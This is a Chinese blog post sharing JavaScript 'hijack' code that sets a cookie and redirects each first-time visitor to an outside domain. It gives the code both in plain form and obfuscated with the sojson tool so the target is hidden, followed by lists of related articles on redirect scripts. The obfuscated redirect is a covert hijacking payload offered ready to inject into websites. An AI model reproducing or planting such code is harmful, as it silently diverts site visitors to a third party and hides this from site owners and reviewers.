今天分享一套关于Js劫持代码,进行判断第一次访问进行跳转,仅供大家参考学习!

未加密:

if (c.indexOf('isfirstvisited=false') != -1) {

     }
else {
var d = new Date();
d.setFullYear(d.getFullYear() + 1);
document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
window.location.href='http://zhimo.yuanzhumuban.cc';
}

  加密混淆后代码:

;var encode_version = 'sojson.v5', nwgyn = '__0x5267e',  __0x5267e=['ZcOdwrHCj0bDn8Kuwr9/','wqDDlcKGw4QT','5Lip6IGa5Ym26Zm4wptyw6E0w5Bqw6NTwpg=','wrZmwpYpUQPDnFnCncODFQ==','H1TDsMOywoYxwqBIEkDCgw==','wpLCh8KLOVDCjcK6wq1MwovDsMKyb8Oae3YvBz/DusO/ZcK/LgYzD8ObJg==','dXLCtsKFWi1uwovCmcKnw4s=','YWwUwqs=','wqXDusO1wpHDh8Osb3ZWw4HCtcO4woTCt0DCnVtsGsOvNAjCp1bDs8O9w7vDnw=='];(function(_0x168cdb,_0x40d4b3){var _0x38ae0c=function(_0x425de3){while(--_0x425de3){_0x168cdb['push'](_0x168cdb['shift']());}};_0x38ae0c(++_0x40d4b3);}(__0x5267e,0x1bc));var _0x7e40=function(_0x502611,_0x11343b){_0x502611=_0x502611-0x0;var _0x10b926=__0x5267e[_0x502611];if(_0x7e40['initialized']===undefined){(function(){var _0x408135=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2a0cc0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x408135['atob']||(_0x408135['atob']=function(_0x2910fe){var _0xe1fb7a=String(_0x2910fe)['replace'](/=+$/,'');for(var _0x59e5e6=0x0,_0x16615a,_0x2dd501,_0x14b77d=0x0,_0x2555f1='';_0x2dd501=_0xe1fb7a['charAt'](_0x14b77d++);~_0x2dd501&&(_0x16615a=_0x59e5e6%0x4?_0x16615a*0x40+_0x2dd501:_0x2dd501,_0x59e5e6++%0x4)?_0x2555f1+=String['fromCharCode'](0xff&_0x16615a>>(-0x2*_0x59e5e6&0x6)):0x0){_0x2dd501=_0x2a0cc0['indexOf'](_0x2dd501);}return _0x2555f1;});}());var _0x6dcba9=function(_0x3c94d8,_0x2b9a55){var _0x23cc1e=[],_0x5ae6c8=0x0,_0x470234,_0x49805b='',_0x22fb6b='';_0x3c94d8=atob(_0x3c94d8);for(var _0x2651b3=0x0,_0x3fd5d2=_0x3c94d8['length'];_0x2651b3<_0x3fd5d2;_0x2651b3++){_0x22fb6b+='%'+('00'+_0x3c94d8['charCodeAt'](_0x2651b3)['toString'](0x10))['slice'](-0x2);}_0x3c94d8=decodeURIComponent(_0x22fb6b);for(var _0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x23cc1e[_0x157a4d]=_0x157a4d;}for(_0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d]+_0x2b9a55['charCodeAt'](_0x157a4d%_0x2b9a55['length']))%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;}_0x157a4d=0x0;_0x5ae6c8=0x0;for(var _0x4ac905=0x0;_0x4ac905<_0x3c94d8['length'];_0x4ac905++){_0x157a4d=(_0x157a4d+0x1)%0x100;_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d])%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;_0x49805b+=String['fromCharCode'](_0x3c94d8['charCodeAt'](_0x4ac905)^_0x23cc1e[(_0x23cc1e[_0x157a4d]+_0x23cc1e[_0x5ae6c8])%0x100]);}return _0x49805b;};_0x7e40['rc4']=_0x6dcba9;_0x7e40['data']={};_0x7e40['initialized']=!![];}var _0x551480=_0x7e40['data'][_0x502611];if(_0x551480===undefined){if(_0x7e40['once']===undefined){_0x7e40['once']=!![];}_0x10b926=_0x7e40['rc4'](_0x10b926,_0x11343b);_0x7e40['data'][_0x502611]=_0x10b926;}else{_0x10b926=_0x551480;}return _0x10b926;};if(c['indexOf']('isfirstvisited=false')!=-0x1){}else{var d=new Date();d[_0x7e40('0x0','8YCC')](d[_0x7e40('0x1','Y8ld')]()+0x1);document['cookie']=_0x7e40('0x2','%3J1')+d[_0x7e40('0x3','oWV]')]();window['location'][_0x7e40('0x4','0U8R')]=_0x7e40('0x5','OfAm');};if(!(typeof encode_version!=='undefined'&&encode_version===_0x7e40('0x6','9]*u'))){window[_0x7e40('0x7','cCi9')](_0x7e40('0x8','ei)Y'));};encode_version = 'sojson.v5';

  

js判断是否第一次访问跳转的更多相关文章

  1. JS判断移动端访问设备并加载对应CSS样式

    JS判断不同web访问环境,主要针对移动设备,提供相对应的解析方案(判断设备代码直接copy腾讯网的) // 判断是否为移动端运行环境 if(/AppleWebKit.*Mobile/i.test(n ...

  2. js判断是否手机自动跳转移动端

    写法一: {literal} <script> //判断是否手机自动跳转 var browser={versions:function(){var u=navigator.userAgen ...

  3. js判断是电脑访问手机版网站,跳转到电脑版

    function uaredirect(murl,wurl){ //murl为手机网站域名,wurl为电脑版网站域名地址 67 try { 68 if(document.getElementById( ...

  4. JS判断web网站访问端是PC电脑还是手机

    通过JS语句判断WEB网站的访问端是电脑还是手机,以显示不同的页面! <script type="text/javascript"> <!-- //平台.设备和操 ...

  5. js判断移动终端url跳转

    CODE <script> //判断终端url跳转 function sp_isMobile() { return Boolean(navigator.userAgent.match(/. ...

  6. js判断是android访问还是ios访问

    原文地址:http://blog.csdn.net/wy978651775/article/details/9014039 该博主也是转载的,但是没有标明出处. 判断原理: JavaScript是前端 ...

  7. JS判断是手机访问还是PC端访问网站

    <script>    if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|S ...

  8. js判断当前的访问是手机/电脑

    <script type="text/javascript"> var commonURL = 'http://www.xxx.com/'; function mobi ...

  9. js判断当前的访问是手机还是电脑

    <script type="text/javascript"> //平台.设备和操作系统 var system ={ win : false, mac : false, ...

随机推荐

  1. [转]python file文件操作--内置对象open

    python file文件操作--内置对象open   说明: 1. 函数功能打开一个文件,返回一个文件读写对象,然后可以对文件进行相应读写操作. 2. file参数表示的需要打开文件的相对路径(当前 ...

  2. 解决GitHub下载慢或下载失败问题

    1.登录自己的码云账户 码云网站:https://gitee.com/luckyplj8/events 2.新建一个仓库. 3.选择导入已有仓库. GitHub资源链接: 4.等待码云克隆项目,大概1 ...

  3. [转帖]spring cloud架构

    spring cloud架构 https://www.cnblogs.com/xuzhaoyang/p/11010859.html 我们首先来说一下spring cloud的诞生的背景和意义 1 背景 ...

  4. [转帖]教你如何破解IC卡的校验值

    教你如何破解IC卡的校验值   版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/weixin ...

  5. java AES-256加解密解决方法

    看文件操作即可: 链接:https://pan.baidu.com/s/1dQ_-cZitxbG31JVmRi-trg 提取码:89p4 复制这段内容后打开百度网盘手机App,操作更方便哦

  6. redis的redisvCommand的%b

    如下代码,向redis发送命令 SendCommand("HSET %b %b %b",key.data(),key.size(),filed.data(),filed.size( ...

  7. 前端框架之Bootstrap框架

    下载地址:https://v3.bootcss.com/,下载Bootstrap3版本 下载之后把文件中不需要的文件都删掉 需要获取的样式代码,可以直接从这些地方找到,然后复制 一.HTML页面导入文 ...

  8. python_进程与线程的补充

    进程与线程的标识 知识点一:进程id 与 线程ident import time import multiprocessing import threading time.sleep(10) prin ...

  9. C# vb .net实现移除像素特效滤镜

    在.net中,如何简单快捷地实现Photoshop滤镜组中的移除像素特效呢?答案是调用SharpImage!专业图像特效滤镜和合成类库.下面开始演示关键代码,您也可以在文末下载全部源码: 设置授权 第 ...

  10. C语言-MySQL单表查询(vs2013环境)

    一.首先配置项目属性: 1.打开mysql的安装路径,找到include文件夹和lib文件夹 如图: 2.在vs2013中, 打开项目–> 属性 –>VC++目录 如图: 把将nclude ...